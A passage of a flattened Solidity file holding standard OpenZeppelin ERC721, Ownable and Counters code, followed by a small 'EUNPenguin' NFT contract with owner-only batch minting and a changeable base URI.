return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
_afterTokenTransfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
_afterTokenTransfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
_afterTokenTransfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC721: approve to caller");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// File: @openzeppelin/contracts/access/Ownable.sol
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: @openzeppelin/contracts/utils/Counters.sol
pragma solidity ^0.8.0;
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
*/
library Counters {
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
function reset(Counter storage counter) internal {
counter._value = 0;
}
}
// File: contracts/EUNPenguin.sol
pragma solidity ^0.8.0;
contract EUNPenguin is ERC721, Ownable {
using Counters for Counters.Counter;
using Strings for uint256;
Counters.Counter _tokenIds;
string currentBaseURI;
constructor(string memory _baseURI) ERC721("Europe North Penguin", "EUNP") {
currentBaseURI = _baseURI;
}
function changeBaseURI(string memory _newBaseURI) external onlyOwner {
currentBaseURI = _newBaseURI;
}
function mint(address[] memory _receivers) external onlyOwner {
for (uint256 i = 0; i < _receivers.length; i++) {
_tokenIds.increment();
uint256 _tokenId = _tokenIds.current();
_safeMint(_receivers[i], _tokenId);
}
}
function tokenURI(uint256 _tokenId) public view override returns (string memory) {
require(_exists(_tokenId), "Requesting URI for nonexistent token");
return bytes(currentBaseURI).length > 0 ? string(abi.encodePacked(currentBaseURI, _tokenId.toString(), ".json")) : "";
}
} | True | [
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